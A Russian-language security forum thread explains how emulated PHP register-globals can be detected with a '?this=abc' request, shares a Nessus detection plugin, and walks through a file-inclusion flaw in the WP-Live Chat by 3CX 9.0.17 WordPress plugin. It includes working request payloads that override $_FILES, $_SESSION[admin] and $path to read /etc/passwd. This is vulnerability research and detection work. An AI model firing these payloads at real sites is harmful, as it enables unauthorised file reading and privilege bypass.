$this - это специальная переменная

Discussion in 'База Знаний' started by crlf, 18 Dec 2019.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    По мотивам https://krober.biz/?p=3306 (веб-архив), с печальным выводом:
    До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами :)

    Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима Register Globals (RG). Выглядеть это может по разному:
    PHP:
    <?php
    extract
    ($_GET);
    или
    PHP:
    <?php
    parse_str
    ($_SERVER['QUERY_STRING']);
    или
    PHP:
    <?php
    foreach($_GET as $k => $v) $$k $v;
    unset(
    $GET);
    и пр.

    Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:

    Code:
    http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000
    
    или
    Code:
    httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23
    
    или
    Code:
    httр://site.com/upload.php?_SESSION[admin]=1
    
    и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика :)

    Парочка примеров:
     
    #1 crlf, 18 Dec 2019
    Last edited: 17 Jun 2021
    alexzir, ex0dus, Раrаdох and 7 others like this.
    1. Kaimi

      Kaimi Well-Known Member

      Joined:
      23 Aug 2007
      Messages:
      1,732
      Likes Received:
      811
      Reputations:
      231
      Для тех, кто любит автоматизацию, плагин для Nessus, который определяет наличие такой ситуации по наличию в заголовках или теле ответа характерного текста

      sc.png

      Code:
      # Pseudo register globals detection
      
      include("compat.inc");
      
      if(description)
      {
          script_id(10797109);
          script_version("1.0");
          script_cvs_date("$Date: 2019/12/19 13:37:00 $");
      
          script_name(english: "Pseudo Register Globals Detection");
      
          script_set_attribute(attribute: "synopsis", value: "Possible pseudo register globals behavior was detected on the remote host.");
          script_set_attribute(attribute: "description", value: "Possible pseudo register globals behavior was detected on the remote host.");
          script_set_attribute(attribute: "solution", value: "Check existing source code. Consider rewriting source code without usage of constructions like: extract($_GET), parse_str($_SERVER['QUERY_STRING']) , etc...");
          script_set_attribute(attribute: "see_also", value: "https://antichat.xyz/threads/474727/");
         
          script_set_attribute(attribute: "risk_factor", value: "Low");
      
          script_set_attribute(attribute: "plugin_publication_date", value: "2019/12/19");
          script_set_attribute(attribute: "plugin_type", value: "remote");
          script_end_attributes();
      
          script_summary(english: "Reports if response with code 500 occurs upon sending '/?this=abc' request. Additional checks should be made manually.");
          script_category(ACT_GATHER_INFO);
          script_copyright(english: "This script is Copyright (C) Kaimi (https://kaimi.io)");
          script_family(english: "CGI abuses");
      
          script_dependencie("webmirror.nasl", "DDI_Directory_Scanner.nasl");
          script_exclude_keys("Settings/disable_cgi_scanning");
          script_require_keys("Settings/enable_web_app_tests");
          script_require_ports("Services/www");
      
          script_timeout(1800);
      
          exit(0);
      }
      
      include("audit.inc");
      include("global_settings.inc");
      include("misc_func.inc");
      include("http.inc");
      
      app = "PHP";
      
      port = get_http_port(default: 80);
      dirs = list_uniq(make_list(cgi_dirs(), get_kb_list("www/" + port + "/content/directories"), ""));
      
      found_list = make_list();
      found_ctr = 0;
      
      foreach dir (dirs)
      {
          path = dir + '/?this=abc';
      
          res = http_send_recv3(
              method : "GET",
              port : port,
              item : path
          );
          if(isnull(res))
              continue;
      
          if
          (
              # Check headers first string
              eregmatch(pattern: '500 Internal Server Error', string: res[0], icase: TRUE)
              ||
              # Check body
              eregmatch(pattern: 'Internal Server Error', string: res[2], icase: TRUE)
          )
          {
              found_list[found_ctr] = path;
      
              found_ctr++;
          }
      }
      
      if(found_ctr > 0)
      {
          report = NULL;
          if (report_verbosity > 0)
          {
              report += '\nNessus was able to detect a suspicious behavior by the following paths:\n';
              report += '\n';
              for (i = 0; i < found_ctr; i++)
              {
                  url = found_list[i];
      
                  report += 'URL\t\t: ' + build_url(port: port, qs: url) + '\n';
                  report += '\n';
              }
          }
      
          security_note(port: port, extra: report);
      }
      else
      {
          audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(port: port, qs: "/"));
      }
      
       
      _________________________
      1. crlf

        crlf Green member

        Joined:
        18 Mar 2016
        Messages:
        683
        Likes Received:
        1,513
        Reputations:
        460
        Пользуясь случаем, рассмотрим применение кейса на реальном примере, который был раскручен с его помощью до RFI (Remote File Include).

        Для локального воспроизведения нам понадобится WordPress 5.5, а так же плагин WP-Live Chat by 3CX версии 9.0.17, который на текущий момент имеет 50 тысяч активных установок.

        [​IMG]


        Запускать всё это дело будем на стенде с Debian 9, веб-сервером Apache/2.4.25 и PHP 7.3.15 с включенным выводом ошибок (display_errors = On).

        [​IMG]

        [​IMG]


        После нехитрой установки WP и плагина, вычищаем все админские куки и следуем на главную страницу нашего новоиспечённого блога.

        [​IMG]


        Следующим шагом, проверяем теорию описанную в первом посте, при помощи простейшего теста, с подставлением GET параметра "?this=1".

        [​IMG]

        Получаем фатальную ошибку, с раскрытием локальных путей, а так же номером строки где она была вызвана. Далее открываем файл в любимом текстовом редакторе и находим это место. Наш кейс всплывает в функии evaluate_php_template:

        ./wp-live-chat-support/includes/helpers/utils_helper.php:
        PHP:
        .      .      .
           public static function 
        evaluate_php_template$path$args ) {
               foreach ( 
        $args as $key => $value ) {
                   ${
        $key} = $value;
               }

               
        ob_start();
               include( 
        $path );
               
        $var ob_get_contents();
               
        ob_end_clean();

               return 
        $var;
           }
        .      .      .
        , где невооружённым глазом видно теоретическую возможность удалённого инклуда.

        Если скрипт упал в этом месте, значит пользовательский ввод попадает в $args. Для того чтобы убедиться в этом, поищем в коде плагина места где используется эта функия и в свою очередь обнаружим другую функцию - load_view:


        ./wp-live-chat-support/includes/wplc_base_controller.php:
        PHP:
        .      .      .
           protected function 
        load_view$filepath$return_html=false$add_wrapper=true$children = array() ) {
               
        $data               $this->convert_view_data$this->view_data );
               
        $data["page_title"] = $this->page_title;
               
        $view_data                    array_merge$data$_GET );
               
        $view_data['wplc_settings']   = $this->wplc_settings;
               
        $view_data['selected_action'] = $this->selected_action;
               unset( 
        $data );
               
        $data_literal $this->generate_wrapper_data();
               
        $view_html =TCXUtilsHelper::evaluate_php_template$filepath$view_data );
               if(
        $add_wrapper) {
                   
        $result_view '<div id="wplc_wrapper" ' $data_literal '>';
                   
        $result_view .= $view_html;
                   
        $result_view .= '</div>';
               }else
               {
                   
        $result_view $view_html;
               }
               if ( 
        count$children ) > ) {
                   
        libxml_use_internal_errorstrue );
                   
        $doc               = new DOMDocument();
                   
        $doc->formatOutput true;
                   
        $doc->loadHTML$result_view );
                   foreach ( 
        $children as $child ) {
                       
        $container_element $doc->getElementById$child->id );
                       
        $html              $child->controller->view(true,false);
                       
        $node              $this->createElementFromHTML$doc,$html );
                       
        $container_element->appendChild$node );
                   }
                   
        $result_view $doc->saveHTML();
               }
               if ( 
        $return_html ) {
                   return 
        $result_view;
               } else {
                   echo 
        $result_view;
                   return 
        true;
               }
           }

        .      .      .

        На третьей строке этой функции видим, что переменная $data объединяется с массивом $_GET. Это как раз то место, когда пользовательские данные без какой-либо обработки попадают в уязвимую функцию evaluate_php_template. А это значит, мы можем изменить переменную $path на любое значение. И сделав запрос вида http://wordpress/?path=/etc/passwd, убеждаемся в этом:

        [​IMG]

        Или так:

        [​IMG]

        [​IMG]



        Теперь давайте разбираться как так произошло :)

        [​IMG]
        [​IMG]
        [​IMG]

        На первом скрине видим, что load_view() в плагине используется повсеместно, для отображения различных страниц темплейтов, с предустановленными зарание переменными и юзеринпутом. Важным аргументом для неё является $filepath, который, как видно, при вызове жёстко прописывается и повлиять на него никак нельзя.

        Далее, подготавливаются некие переменные, для подключаемого шаблона, и массив с этими переменными объединяется с $_GET. И через несколько строк, $view_data, с пользовательскими гет данными, отправляется в функцию evaluate_php_template(), куда так же первым аргументом передаётся захардкоженный $filepath.

        В следующем методе аргументы $args, возможностями переменных переменных глобализуются или переназначаются (неявно) в контексте нашей функции, вероятно, для заполнения подключаемого темплейта.

        Всё бы ничего, но мы передав ?path=/etc/passwd сделали так, что один из ключей перебираемого массива $args является "path", что переназначит значение, казалось бы жёстко прописанной, переменной $path переданой заранее!


        $this is the end ;)
         

        Attached Files:

        #3 crlf, 16 Aug 2020
        Last edited: 12 Jun 2022
        VY_CMa, b3, seostock and 7 others like this.